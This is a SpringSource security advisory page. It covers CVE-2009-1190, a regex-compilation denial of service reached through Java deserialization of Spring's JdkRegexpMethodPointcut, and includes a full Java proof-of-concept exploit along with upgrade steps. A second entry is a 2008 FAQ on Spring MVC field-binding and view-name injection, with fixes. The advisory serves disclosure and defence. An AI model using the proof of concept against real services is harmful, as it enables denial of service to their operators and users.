Security Advisory

4/22/2009: CVE-2009-1190: Spring Framework Remote Denial of Service Vulnerability

Severity: Low
Vendor: SpringSource
Versions Affected: Spring Framework 1.1.0-2.5.6, 3.0.0.M1-3.0.0.M2; dm Server 1.0.0-1.0.2 (note 2.x not affected since dm Server 2.x requires a 1.6 JDK)

Description:

The j.u.r.Pattern.compile method in Sun 1.5 JDK has a problem ([1],[2]) with exponential compilation times, when using optional groups. A workaround [3] was implemented in 1.4.2_06 but the root cause of poor performance in regex processing was not resolved until JDK 1.6.
JdkRegexpMethodPointcut calls Pattern.compile(source[i]); via it's inherited readObject method (from AbstractRegexpMethodPointcut). When Sun JVM 1.5 driven application with spring.jar in its classpath accepts serializable data, an attacker could use a long regex string with many optional groups to consume enormous CPU resources. And, with a few requests all listeners will be occupied with compiling regex expressions forever.

Mitigation:

Users of all products may upgrade to JRE/JDK 1.6 which includes the fix for the root cause
Spring Framework 2.5.6.SEC01 has been released for Community users that includes a workaround to the root cause - see the information at the end of this notice for the steps
Spring Framework 2.5.6.SR02 is available for Enterprise users that includes a workaround to the root cause; The software can be found in the Customer Portal here: http://www.springsource.com/spring_account_file
Disable functionality that accepts serializable data from untrusted sources
Spring Framework 3.0.0.M3 will be released shortly that includes a workaround to the root cause
dm Server 1.0.2 Community users may replace the Spring Framework 2.5.6 jar with 2.5.6.SEC01 - see the information at the end of this notice for the detailed steps
dm Server 1.0.3 that includes a workaround to the root cause will be released shortly
Instrumented Spring Framework 2.5.6.SR02 that includes a workaround to the root cause is available to Enterprise users. The software can be found in the Customer Portal here: http://www.springsource.com/spring_account_file

Example:

public class DoSSpring {

             static byte[] getSerialized(Object o) throws Exception {

              ByteArrayOutputStream baos = new ByteArrayOutputStream();

              ObjectOutputStream oos = new ObjectOutputStream(baos);

              oos.writeObject(o);

              oos.flush();

              oos.close();

              return baos.toByteArray();

             }

             public static void main(String[] a) throws Exception{

              String thePattern="(Y)?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)" + "?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)?(K)" + "?(W)?(I)?(U)?(a)?$";

              String longerPattern = thePattern.substring(0,thePattern.length()-1)+thePattern;

              int length = longerPattern.length();

              String fakePattern = longerPattern.replaceAll(".", "A");

              JdkRegexpMethodPointcut jrmp = new JdkRegexpMethodPointcut();

              jrmp.setPattern(fakePattern);

              System.out.println(jrmp);

              byte[] theArray = getSerialized(jrmp);

              int i = 0;

              for (; i < theArray.length;i++) {

               if (((char)theArray[i])=='A' &&((char)theArray[i+1]=='A')) {

                break;

               }

              }

              System.arraycopy(longerPattern.getBytes(), 0, theArray, i, length);

              ByteArrayInputStream bis = new ByteArrayInputStream(theArray);

              ObjectInputStream ois = new ObjectInputStream(bis);

              Object o = ois.readObject();  // returns after a very very long time

             }

            }

Credit:

This issue was discovered by the RedHat Security Response Team

References:

[1] http://www.packetstormsecurity.org/hitb06/DAY_1_-_Marc_Schoenefeld_-_Pentesting_Java_J2EE.pdf
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2540
[3] http://archive.cert.uni-stuttgart.de/uniras/2005/01/msg00035.html

Spring Framework update steps:

backup your application
unzip the downloaded distribution and copy any Spring 2.5.6.SEC01 jars, that you are using as part of your application build, from dist or dist/modules directories to replace the current 2.5.6 jars in your build
rebuild and redeploy your application

dm Server update steps:

Prerequisites:

springsource-dm-server-1.0.2.RELEASE
spring-framework-2.5.6.SEC01

Note: For Enterprise customers of dm Server 1.0.2 who are using the instrumented Spring JARs - Instrumented Spring Framework 2.5.6.SR02 that includes a workaround to the root cause will be released by April 27, 2009

Update Steps:

In $DMS_HOME/lib
- Remove: org.springframework.core-2.5.6.A.jar
- Add: spring-core.jar
In $DMS_HOME/repository/bundles/ext
- Remove:
  org.springframework.aop-2.5.6.A.jar
  org.springframework.aspects-2.5.6.A.jar
  org.springframework.beans-2.5.6.A.jar
  org.springframework.context-2.5.6.A.jar
  org.springframework.context.support-2.5.6.A.jar
  org.springframework.core-2.5.6.A.jar
  org.springframework.jdbc-2.5.6.A.jar
  org.springframework.jms-2.5.6.A.jar
  org.springframework.orm-2.5.6.A.jar
  org.springframework.transaction-2.5.6.A.jar
  org.springframework.web-2.5.6.A.jar
  org.springframework.web-servlet-2.5.6.A.jar
- Add:
  spring-aop.jar
  spring-aspects.jar
  spring-beans.jar
  spring-context.jar
  spring-context-support.jar
  spring-core.jar
  spring-jdbc.jar
  spring-jms.jar
  spring-orm.jar
  spring-tx.jar
  spring-web.jar
  spring-webmvc.jar

In $DMS_HOME/repository/libraries/ext

Edit: org.springframework.spring-library-2.5.6.A.libd

==

                    Library-SymbolicName: org.springframework.spring

                    Library-Version: 2.5.6.SEC01

                    Library-Name: Spring Framework

                    Import-Bundle:

                    org.springframework.aop;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.aspects;version="[2.5.6.SEC01, 2.5.6.SEC01]";import-scope:=application, org.springframework.beans;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.context;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.context.support;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.core;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.jdbc;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.jms;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.orm;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.transaction;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.web;version="[2.5.6.SEC01, 2.5.6.SEC01]",  org.springframework.web.servlet;version="[2.5.6.SEC01, 2.5.6.SEC01]",  com.springsource.org.aopalliance;version="[1.0.0, 1.0.0]"

                    ==

7/7/2008: Spring MVC Security Advisory

Source document: http://www.ouncelabs.com/springmvc

Spring MVC vulnerability FAQ

What is the technical problem?
The Ounce report describes two issues that can affect Spring web applications. Both issues result from usage of the Web MVC module of the Spring Framework, and are not the result of bugs or design flaws in the framework. The first issue is called Data Submission to Non-Editable Fields. This issue can arise with the unconfigured use of Spring's DataBinder. The second issue is called ModelView Injection. This issue can arise when data provided in a client request is used directly as the name of a view.

How serious can the exposure be?
The Data Submission to Non-Editable Fields issue can result when using Spring's DataBinder to bind client request data to server-side model objects, aka "command" objects. By default, a WebDataBinder will attempt to bind all parameters provided in a HttpServletRequest. With this default enabled, a malicious client could modify or add parameters to the posted form data, which could result in model object properties being updated unexpectedly or out of sequence. For applications that bind request data to presentation-layer "form models", this is unlikely to be a problem since there is a one-to-one correspondence between a form backing object and a set of allowed request parameters. This issue is only relevant for applications that bind directly to a domain model which exposes properties that should not be updated by the client. This problem can manifest itself anywhere the Spring DataBinder is used to bind to a domain model, which includes inside SimpleFormController, MultiActionController, @Controller, and AbstractWizardFormController implementations.

The ModelView Injection issue can result when data provided in a client request is used directly as the name of a view to render. If a view names map to internal resources such as a files in the web application file system, a malicious client could gain access to to protected web application resources such as web.xml.

How do I fix the problem?
To prevent the Data Submission to Non-Editable Fields issue from occurring, the DataBinder should be configured explicitly with the set of fields that are allowed for binding. To do this, set the "allowedFields" property on each DataBinder instance you work with in your application. Below is an example of how to do this with each major Controller implementation:
- SimpleFormController - Override initBinder(HttpServletRequest, ServletRequestDataBinder) and call setAllowedFields(String[]) on the provided ServletRequestDataBinder instance.
- MultiActionController - Call setAllowedFields on any ServltRequestDataBinder instance you instantiate locally within a handler method body.
- @Controller - Use the @InitBinder annotation to inject a WebDataBinder into a method used to configure it explicitly. Call setAllowedFields(String []) to restrict the fields allowed for that Controller class. If the set of allowedFields needs to vary per handler method, have your @InitBinder method accept a HttpServletRequest and key off the current request mapping.
- AbstractWizardFormController - Override initBinder(HttpServletRequest, ServletRequestDataBinder) and call setAllowedFields(String[]) on the provided DataBinder instance. Call getCurrentPage(HttpServletRequest) to configure the set of allowed fields per page.
To prevent the ModelView Injection issue from occurring, simply never allow the client to select the view name. View name selection is a server-side responsibility.

How do I check to see if I have this problem?
Review your pre-existing controller implementations that bind to domain model data. If you are not setting the allowedFields property, you will be vulnerable to this issue. Whether or not the vulnerability exposes a security threat depends on the context.

How can SpringSource help with fixing this problem?
SpringSource engineers and consultants are committed to fixing bugs, maintaining the code base and educating the user community about best practices for all the different projects in the Spring Portfolio, including Spring MVC. Bug fixes and solutions to security vulnerabilities are made available to the Spring user community via periodic code releases for all projects. SpringSource Enterprise customers receive access to tools, patches and support to address security vulnerabilities as well as advance notice security advisories.

Newsletter Form - Signup